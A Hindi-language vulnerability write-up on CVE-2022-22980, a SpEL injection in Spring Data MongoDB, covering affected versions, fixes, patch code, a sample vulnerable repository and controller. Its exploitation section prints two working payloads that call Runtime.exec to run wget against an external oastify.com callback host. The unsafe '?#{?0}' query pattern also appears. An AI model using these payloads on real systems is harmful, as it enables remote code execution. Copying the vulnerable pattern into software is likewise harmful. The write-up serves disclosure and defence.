
[CVE-2022-22980] Spring Data MongoDB SpEL एक्सप्रेशन इंजेक्शन
[CVE-2022-22980] Spring Data MongoDB SpEL एक्सप्रेशन इंजेक्शन
MongoDB एक डॉक्यूमेंट-ओरिएंटेड NoSQL डेटाबेस है जो स्केलेबल और फ्लेक्सिबल है, जिसका उपयोग उच्च मात्रा में डेटा स्टोरेज के लिए किया जाता है। पारंपरिक रिलेशनल डेटाबेस की तरह टेबल और पंक्तियों का उपयोग करने के बजाय, MongoDB कलेक्शन और डॉक्यूमेंट का उपयोग करता है। डॉक्यूमेंट में की-वैल्यू पेयर होते हैं जो MongoDB में डेटा की मूल इकाई हैं।
Spring Data for MongoDB छत्र Spring Data प्रोजेक्ट का हिस्सा है जिसका उद्देश्य नए डेटास्टोर के लिए एक परिचित और सुसंगत Spring-आधारित प्रोग्रामिंग मॉडल प्रदान करना है, साथ ही स्टोर-विशिष्ट सुविधाओं और क्षमताओं को बनाए रखना है। Spring Data MongoDB प्रोजेक्ट MongoDB डॉक्यूमेंट डेटाबेस के साथ एकीकरण प्रदान करता है। Spring Data MongoDB के प्रमुख कार्यात्मक क्षेत्र MongoDB DBCollection के साथ बातचीत करने के लिए एक POJO-केंद्रित मॉडल और आसानी से रिपॉजिटरी शैली डेटा एक्सेस लेयर लिखना है।
20 जून 2022 को, VMware ने अपनी आधिकारिक वेबसाइट पर एक सुरक्षा सलाह जारी की जो Spring Data MongoDB को प्रभावित करने वाली SpEL एक्सप्रेशन इंजेक्शन (रिमोट कोड एक्जीक्यूशन की ओर ले जाने वाली) भेद्यता से संबंधित थी। आप नीचे CVE-2022-22980 भेद्यता के बारे में विस्तृत जानकारी पा सकते हैं।
Vulnerability
एक Spring Data MongoDB एप्लिकेशन SpEL इंजेक्शन के लिए असुरक्षित है जब @Query या @Aggregation एनोटेटेड क्वेरी विधियों का उपयोग SpEL एक्सप्रेशन के साथ किया जाता है जिनमें वैल्यू बाइंडिंग के लिए क्वेरी पैरामीटर प्लेसहोल्डर होते हैं यदि इनपुट सैनिटाइज़ नहीं किया गया है। वैकल्पिक रूप से, ऐसी व्यवस्थाएं जो अतिरिक्त एप्लिकेशन कोड (जैसे Spring Data REST) को शामिल किए बिना रिपॉजिटरी क्वेरी विधियों को उजागर करती हैं, भी असुरक्षित हैं।
विशेष रूप से, एक एप्लिकेशन तब असुरक्षित है जब निम्नलिखित सभी सत्य हों:
@Query या @Aggregation के साथ एनोटेट किया गया है जो SpEL (Spring Expression Language) का उपयोग करते हैं और SpEL एक्सप्रेशन के भीतर इनपुट पैरामीटर संदर्भों (?0, ?1, …) का उपयोग करते हैंएक एप्लिकेशन असुरक्षित नहीं है यदि निम्नलिखित में से कोई भी सत्य है:
QueryMethodEvaluationContextProvider का उपयोग करने के लिए कॉन्फ़िगर किया गया है जो SpEL उपयोग को सीमित करता हैप्रभावित संस्करण
Spring Data MongoDB 3.4.0, 3.3.0 से 3.3.4, और पुराने संस्करण CVE-2022-22980 Spring Data MongoDB SpEL Expression Injection भेद्यता से प्रभावित हैं।
स्थिति
Spring Data MongoDB 3.4.1 और 3.3.5, जिनमें सुधार शामिल हैं, जारी किए जा चुके हैं।
शमन और सुझाए गए वर्कअराउंड
पसंदीदा प्रतिक्रिया Spring Data MongoDB 3.4.1 और 3.3.5 या उससे अधिक पर अपडेट करना है। यदि आपने ऐसा किया है, तो किसी वर्कअराउंड की आवश्यकता नहीं है। हालांकि, कुछ लोग ऐसी स्थिति में हो सकते हैं जहां अपग्रेड करना जल्दी से संभव नहीं है। इस कारण से, Spring टीम ने नीचे कुछ वर्कअराउंड प्रदान किए हैं।
एरे सिंटैक्स का उपयोग करना: यदि एप्लिकेशन को उपयोगकर्ता इनपुट द्वारा नियंत्रित डायनामिक SpEL एक्सप्रेशन की आवश्यकता है, तो एक्सप्रेशन के भीतर पैरामीटर संदर्भों (?0 के बजाय [0]) का उपयोग करने के लिए क्वेरी या एग्रीगेशन घोषणाओं को फिर से लिखें।कस्टम रिपॉजिटरी विधि लागू करना: SpEL एक्सप्रेशन को कस्टम रिपॉजिटरी विधि कार्यान्वयन से बदलना आपकी डायनामिक क्वेरी को एप्लिकेशन कोड के भीतर असेंबल करने का एक व्यवहार्य वर्कअराउंड है। अधिक विवरण के लिए रिपॉजिटरी कस्टमाइज़ेशन पर संदर्भ दस्तावेज़ देखें।पैच विश्लेषण: GitHub मुद्दा और संबंधित कमिट
SpEL इंजेक्शन भेद्यता के लिए GitHub मुद्दा github.com/spring-projects/spring-data-mongodb/issues/4089 से एक्सेस किया जा सकता है।
नीचे दिए गए दो कमिट की सहायता से संबंधित भेद्यता को ठीक किया गया है।
इन कमिट के साथ spring-data-mongodb/src/main/java/org/springframework/data/mongodb/util/json/EvaluationContextExpressionEvaluator.java क्लास जोड़ा गया है।
class EvaluationContextExpressionEvaluator implements SpELExpressionEvaluator {
ValueProvider valueProvider;
ExpressionParser expressionParser;
Supplier<EvaluationContext> evaluationContext;
public EvaluationContextExpressionEvaluator(ValueProvider valueProvider, ExpressionParser expressionParser,
Supplier<EvaluationContext> evaluationContext) {
this.valueProvider = valueProvider;
this.expressionParser = expressionParser;
this.evaluationContext = evaluationContext;
}
@Nullable
@Override
public <T> T evaluate(String expression) {
return evaluateExpression(expression, Collections.emptyMap());
}
public EvaluationContext getEvaluationContext(String expressionString) {
return evaluationContext != null ? evaluationContext.get() : new StandardEvaluationContext();
}
public SpelExpression getParsedExpression(String expressionString) {
return (SpelExpression) (expressionParser != null ? expressionParser : new SpelExpressionParser())
.parseExpression(expressionString);
}
public <T> T evaluateExpression(String expressionString, Map<String, Object> variables) {
SpelExpression expression = getParsedExpression(expressionString);
EvaluationContext ctx = getEvaluationContext(expressionString);
variables.entrySet().forEach(entry -> ctx.setVariable(entry.getKey(), entry.getValue()));
Object result = expression.getValue(ctx, Object.class);
return (T) result;
}
}

spring-projects/spring-data-mongodb/blob/main/spring-data-mongodb/src/main/java/org/springframework/data/mongodb/util/json/ParameterBindingContext.java क्लास को भी निम्नानुसार संशोधित किया गया है:

spring-projects/spring-data-mongodb/blob/main/spring-data-mongodb/src/main/java/org/springframework/data/mongodb/util/json/ParameterBindingContext.java क्लास का अंतिम संस्करण (ठीक किया गया) निम्नानुसार है:
package org.springframework.data.mongodb.util.json;
import java.util.Map;
import java.util.function.Function;
import java.util.function.Supplier;
import org.springframework.data.mapping.model.SpELExpressionEvaluator;
import org.springframework.data.spel.ExpressionDependencies;
import org.springframework.data.util.Lazy;
import org.springframework.expression.EvaluationContext;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.lang.Nullable;
/**
* Reusable context for binding parameters to a placeholder or a SpEL expression within a JSON structure. <br />
* To be used along with {@link ParameterBindingDocumentCodec#decode(String, ParameterBindingContext)}.
*
* @author Christoph Strobl
* @author Mark Paluch
* @since 2.2
*/
public class ParameterBindingContext {
private final ValueProvider valueProvider;
private final SpELExpressionEvaluator expressionEvaluator;
/**
* @param valueProvider
* @param expressionParser
* @param evaluationContext
*/
public ParameterBindingContext(ValueProvider valueProvider, SpelExpressionParser expressionParser,
EvaluationContext evaluationContext) {
this(valueProvider, expressionParser, () -> evaluationContext);
}
/**
* @param valueProvider
* @param expressionParser
* @param evaluationContext a {@link Supplier} for {@link Lazy} context retrieval.
* @since 2.2.3
*/
public ParameterBindingContext(ValueProvider valueProvider, ExpressionParser expressionParser,
Supplier<EvaluationContext> evaluationContext) {
this(valueProvider, new EvaluationContextExpressionEvaluator(valueProvider, expressionParser, evaluationContext));
}
/**
* @param valueProvider
* @param expressionEvaluator
* @since 3.1
*/
public ParameterBindingContext(ValueProvider valueProvider, SpELExpressionEvaluator expressionEvaluator) {
this.valueProvider = valueProvider;
this.expressionEvaluator = expressionEvaluator;
}
/**
* Create a new {@link ParameterBindingContext} that is capable of expression parsing and can provide a
* {@link EvaluationContext} based on {@link ExpressionDependencies}.
*
* @param valueProvider
* @param expressionParser
* @param contextFunction
* @return
* @since 3.1
*/
public static ParameterBindingContext forExpressions(ValueProvider valueProvider, ExpressionParser expressionParser,
Function<ExpressionDependencies, EvaluationContext> contextFunction) {
return new ParameterBindingContext(valueProvider,
new EvaluationContextExpressionEvaluator(valueProvider, expressionParser, null) {
@Override
public EvaluationContext getEvaluationContext(String expressionString) {
Expression expression = getParsedExpression(expressionString);
ExpressionDependencies dependencies = ExpressionDependencies.discover(expression);
return contextFunction.apply(dependencies);
}
});
}
@Nullable
public Object bindableValueForIndex(int index) {
return valueProvider.getBindableValue(index);
}
@Nullable
public Object evaluateExpression(String expressionString) {
return expressionEvaluator.evaluate(expressionString);
}
@Nullable
public Object evaluateExpression(String expressionString, Map<String, Object> variables) {
if (expressionEvaluator instanceof EvaluationContextExpressionEvaluator) {
return ((EvaluationContextExpressionEvaluator) expressionEvaluator).evaluateExpression(expressionString,
variables);
}
return expressionEvaluator.evaluate(expressionString);
}
public ValueProvider getValueProvider() {
return valueProvider;
}
}
और ParameterBindingJsonReader.java क्लास की पुनर्व्यवस्था के लिए धन्यवाद, यह सुनिश्चित किया गया कि क्वेरी या एग्रीगेशन एनोटेशन के मान के भीतर उपयोग किए जाने वाले पैरामीटर को बाइंड करते समय पैरामीटर प्रकार संरक्षित रहे। आप नीचे दिए गए स्क्रीनशॉट में ParameterBindingJsonReader.java क्लास पर कमिट परिवर्तन देख सकते हैं:



शोषण चरण
शोषण चरणों की व्याख्या करने से पहले, नमूना असुरक्षित प्रोजेक्ट ( @Query एनोटेशन का उपयोग करते हुए) का UserRepository.java क्लास निम्नानुसार दर्शाया गया है:
package com.example.mongodb.repository;
import org.springframework.data.mongodb.repository.MongoRepository;
import com.example.mongodb.model.User;
import org.springframework.data.mongodb.repository.Query;
public interface UserRepository extends MongoRepository<User, String> {
@Query("{ 'userName' : ?#{?0}}")
public User findByUserNameLike(String userName);
}
नमूना कंट्रोलर क्लास UserController.java जो com.example.mongodb.repository.UserRepository नेमस्पेस को आयात करता है, भी निम्नानुसार दर्शाया गया है:
package com.example.mongodb.controller;
import com.example.mongodb.model.User;
import com.example.mongodb.repository.UserRepository;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseStatus;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.http.HttpStatus;
import java.io.UnsupportedEncodingException;
import java.net.URLDecoder;
@RestController
@RequestMapping("/v1/user")
public class UserController {
@Autowired
private UserRepository userRepository;
@ResponseStatus(HttpStatus.CREATED)
@PostMapping(consumes = MediaType.APPLICATION_JSON_VALUE)
public User createUser(@RequestBody User user) {
return userRepository.save(user);
}
@PostMapping(value="/get")
public User readUserById(@RequestParam("keyword") String id) throws UnsupportedEncodingException {
return userRepository.findByUserNameLike(URLDecoder.decode(id, "utf-8"));
}
शोषण अनुरोध और प्रतिक्रिया
POST /v1/user/get HTTP/1.1
Host: vulnerablehost:9090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
keyword=T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('wget+98fj4ailoo81u7rkveuwur8hf8l09p.oastify.com/CVE-2022-22980')
HTTP/1.1 500
Content-Type: application/json
Date: Wed, 22 Jun 2022 14:21:20 GMT
Connection: close
Content-Length: 112
{
"timestamp": "2022-06-22T14:21:20.604+00:00",
"status": 500,
"error": "Internal Server Error",
"path": "/v1/user/get"
}

POST /v1/user/get HTTP/1.1
Host: vulnerablehost:9090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
keyword=T(java.lang.Runtime).getRuntime().exec('wget+og8ycpq0w3gg2mzz3t2b26gwnntgh5.oastify.com/CVE-2022-22980')
HTTP/1.1 500
Content-Type: application/json
Date: Wed, 22 Jun 2022 14:36:10 GMT
Connection: close
Content-Length: 112
{
"timestamp": "2022-06-22T14:36:10.827+00:00",
"status": 500,
"error": "Internal Server Error",
"path": "/v1/user/get"
}

इस भेद्यता के निवारण के बारे में अधिक जानकारी के लिए, कृपया निम्नलिखित संसाधनों पर जाएँ:
श्रेय: